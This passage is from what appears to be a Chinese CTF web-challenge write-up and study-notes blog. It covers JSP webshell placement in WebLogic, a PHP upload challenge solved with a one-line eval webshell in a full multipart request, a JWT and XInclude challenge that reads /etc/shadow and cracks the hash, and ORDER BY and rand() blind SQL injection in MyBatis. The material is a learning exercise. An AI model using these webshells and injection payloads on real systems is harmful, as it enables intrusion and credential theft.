    访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp
    img
    img

  • 方法3:在应用安装目录中
    \Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp 目录写入木马,
    访问 http://*.*.*.*:7001/项目名/shell.jsp

Bean Cafe

他的验证逻辑是通过图片的md5的值来验证的,所以我们只需要传两张MD5相同的图片就可以获得flag

https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0

Upload Fun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
if($_SERVER['REQUEST_METHOD'] == "POST"){
if ($_FILES["f"]["size"] > 1000) {
echo "file too large";
return;
}

if (str_contains($_FILES["f"]["name"], "..")) {
echo "no .. in filename please";
return;
}

if (empty($_FILES["f"])){
echo "empty file";
return;
}

$ip = $_SERVER['REMOTE_ADDR'];
$flag = file_get_contents("/flag.txt");
$hash = hash('sha256', $flag . $ip);

if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {
echo "upload success";
} else {
echo "upload error";
}
} else {
if (isset($_GET["f"])) {
$path = "./uploads/" . $_GET["f"];
if (str_contains($path, "..")) {
echo "no .. in f please";
return;
}
include $path;
}

highlight_file("index.php");
}
?>

首先分析一下源码,源码通过POST方式来上传文件并且上传的文件不能包含..用GET的方式来读取文件也不能带有..,上传的文件在uploads目录下,但是我们不知道$hash是什么。

通过谷歌得知在linux种文件名的长度最大可为255个字符,我们可以通过这种方式让它报错来得知他的值

我们可以看到他的回显告诉我们了hash的值,然后我们再上传一句话木马访问即可。

POST上传文件的请求体模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST / HTTP/2
Host:
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ad900b10331bc6f843fbff300b80018.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylZktl8pLMuKyOfBy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 198

------WebKitFormBoundarylZktl8pLMuKyOfBy
Content-Disposition: form-data; name=""; filename=""
Content-Type:


<?php eval($_POST['1'])?>
------WebKitFormBoundarylZktl8pLMuKyOfBy

Username

题目提示了jwt可以爆破,那这道题肯定和jwt伪造有关。

用jwt-cracker爆破密钥,为mstzt

因为有标签,所以判断为xxe注入,但是正常的xxe他会有过滤,不能引用东西。可以使用XInclude attack关于XInclude attack

读取/app/app.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import flask
from flask import Flask, render_template, request, url_for
import jwt
from lxml import etree
import os
import re
import tempfile

app = Flask(__name__)

FLAG = os.environ.get('FLAG') or 'wcft{fake-flag}'
FLAGUSER_PASSWORD = os.environ.get('FLAGUSER_PASSWORD') or 'fake-password'

JWT_SECRET = os.environ.get('JWT_SECRET') or 'secret'

JWT_ALG = 'HS256'
JWT_COOKIE = 'appdata'


@app.route('/')
def root():
return render_template("index.html")


@app.route('/secret-welcome-935734', methods=['GET'])
def secret_welcome():
# There is a linux user named 'flaguser'
# Login here with that username and their linux password.
auth = request.authorization

if auth is None or auth.username != 'flaguser' or auth.password != FLAGUSER_PASSWORD:
resp = flask.Response('Please provide the right credentials to get the flag')
resp.headers['WWW-Authenticate'] = 'Basic'
return resp, 401

return f'Congrats, here is your flag: {FLAG}'


@app.route('/welcome', methods=['GET'])
def welcome():
cookie = request.cookies.get(JWT_COOKIE)

if not cookie:
return f'Error: missing {JWT_COOKIE} cookie value'

try:
jwtData = jwt.decode(cookie, JWT_SECRET, algorithms=[JWT_ALG])
except:
return 'Error: unable to decode JWT cookie', 400

data = jwtData['data']
if not data:
return 'Error: missing data field from decoded JWT', 400

xmlText = str(data)
if '&' in xmlText:
return 'Error: No entity references please', 400
if '%' in xmlText:
return 'Error: No parameter file entities please', 400

tmp = tempfile.NamedTemporaryFile()

# Open the file for writing.
with open(tmp.name, 'w') as f:
f.write(xmlText)

try:
parser = etree.XMLParser(resolve_entities=False)
xmlDoc = etree.parse(tmp.name, parser=parser)
xmlDoc.xinclude()
except Exception as e:
print('XML Error:', e)
return 'Error: Error parsing XML', 400


usernameElement = xmlDoc.find('username')
if usernameElement is None:
return 'Error: Missing username element in XML', 400

username = usernameElement.text

return render_template("welcome.html", username=username)


@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')

if not username:
return 'Error: username is required', 400

username = str(username)

if not re.match('^[a-z] $', username):
return 'Error: username must be only lowercase letters', 400

if len(username) < 3:
return 'Error: username must be at least 3 letters', 400

if len(username) > 20:
return 'Error: username must be no longer than 20 letters', 400

# Useful for chal development
# username = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="/app/app.py" parse="text"/>'
xml = f'<data><username>{username}</username></data>'

jwtData = {"data": xml}

cookie = jwt.encode(jwtData, JWT_SECRET, algorithm=JWT_ALG)

response = flask.make_response(f'hello {username}')
response.set_cookie(JWT_COOKIE, cookie)

response.headers['location'] = url_for('welcome')
return response, 302

if __name__ == "__main__":
app.run(debug=False)

在这个文件里可以得知,有一个新的路由/secret-welcome-935734在这里登陆成功后得到flag,用户名为flaguser,密码我们可以用xxe读取/etc/passwd或者/etc/shadow在shadow中我们得知密码为$1$hack$BzqsFHqkPjQ2Sn9amFsgN0这个可以利用hashcat爆破

关于hashcat的用法

爆破出来密码是qqz3登录得到flag

JDBC

JDBC是什么

Java DataBase Connectivity(Java语言连接数据库)

接口或类 作用
DriverManager类 1)管理和注册数据库驱动
2)得到数据库连接对象
Connection接口 一个连接对象,可用于创建Statement和PreparedStatement对象
Statemen接口 一个SQL语句对象,用于将SQL语句发送给数据库服务器
PreparedStetemen接口 一个SQL语句对象,是Statemen的子接口
ResultSet接口 用于封装数据库查询的结果集,返回给数据库Java程序
加载和注册驱动的方法 描述
Class.forName(数据库驱动实现类) 加载和注册数据库驱动,数据库驱动由mysql厂商”com.mysql.jbdc.Driver”

PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。

Statement不会对SQL语句进行预编译。

两种操作都是因为SQL语句拼接导致的SQL注入。

MyBatis框架

在mybatis中的,使用#包裹的字段在内部进行了预编译处理,而$并没有使用预编译,也就是JDBC中prepareStatement和Statement的区别。mybatis的sql语句通常是写在xml文件中。

order by 盲注

在SQL中是不允许union直接跟在order by后面的,所以我们可以考虑使用盲注或报错注入。

我的理解就是通过order by将列进行排序,通过返回的不同结果

举个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='1',sleep(1),1));
+------------------+------------+
| username | password |
+------------------+------------+
| Nakajima Ayato | 9CXLGSEWDO |
| Mildred Green | r8ZPbvDXBC |
| Ito Momoe | qao7ysP90D |
| Lo On Kay | x8rGVqTQqd |
| Kobayashi Sakura | lYiv7UO8Yo |
+------------------+------------+
5 rows in set (0.002 sec)

MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='N',sleep(1),1));
+------------------+------------+
| username | password |
+------------------+------------+
| Nakajima Ayato | 9CXLGSEWDO |
| Mildred Green | r8ZPbvDXBC |
| Ito Momoe | qao7ysP90D |
| Lo On Kay | x8rGVqTQqd |
| Kobayashi Sakura | lYiv7UO8Yo |
+------------------+------------+
5 rows in set (5.004 sec)

可以看到,当if语句成立时返回的时间为5s,但是不成立时为0.002s

这是基于时间的盲注。

还可以利用其它的方式来进行盲注

例如:

1
2
MariaDB [test]> select * from user order by if(substr((select username from user limit 0,1),1,1)='a',1,(select host from mysql.user));
ERROR 1242 (21000): Subquery returns more than 1 row

如果if语句错误就会返回ERROR 1242 (21000): Subquery returns more than 1 row,当if成立时就会返回正常页面,可以通过返回的情况来判断。

rand()盲注

原理和order by大差不差,就是rand()会产生一个0-1之间的随机数,我们给一个固定的种子就会生成一个固定的数,所以我们控制rand的种子就可以造成排序的结果不同。

比如:

1
2
3
4
5
rand(1)
rand(0)
rand(1=1)
rand(lenth(database())=8)
....

#和$符号的区别

#{}

使用#{}意味着使用的预编译的语句,即在使用jdbc时的preparedStatement,sql语句中如果存在参数则会使用?作占位符,我们知道这种方式可以防止sql注入,并且在使用#{}时形成的sql语句,已经带有引号,例,select * from table1 where id=#{id} 在调用这个语句时我们可以通过后台看到打印出的sql为:select * from table1 where id=’2’ 加入传的值为2.也就是说在组成sql语句的时候把参数默认为字符串。

${}

使用${}时的sql不会当做字符串处理,是什么就是什么,如上边的语句:select * from table1 where id=${id} 在调用这个语句时控制台打印的为:select * from table1 where id=2 ,假设传的参数值为2

从上边的介绍可以看出这两种方式的区别,我们最好是能用#{}则用它,因为它可以防止sql注入,且是预编译的,在需要原样输出时才使用${},如,

select * from ${tableName} order by ${id} 这里需要传入表名和按照哪个列进行排序 ,加入传入table1、id 则语句为:select * from table1 order by id

如果是使用#{} 则变成了select * from ‘table1’ order by ‘id’ 我们知道这样就不对了。

另,在使用以下的配置时,必须使用#{}

1
2
3
4
<select id="selectMessageByIdI" parameterType="int" resultType="Message">

select * from message where id=#{id};
</select>

在parameterType是int时,sql语句中必须是#{}。

参考链接

关于Java中order by注入详解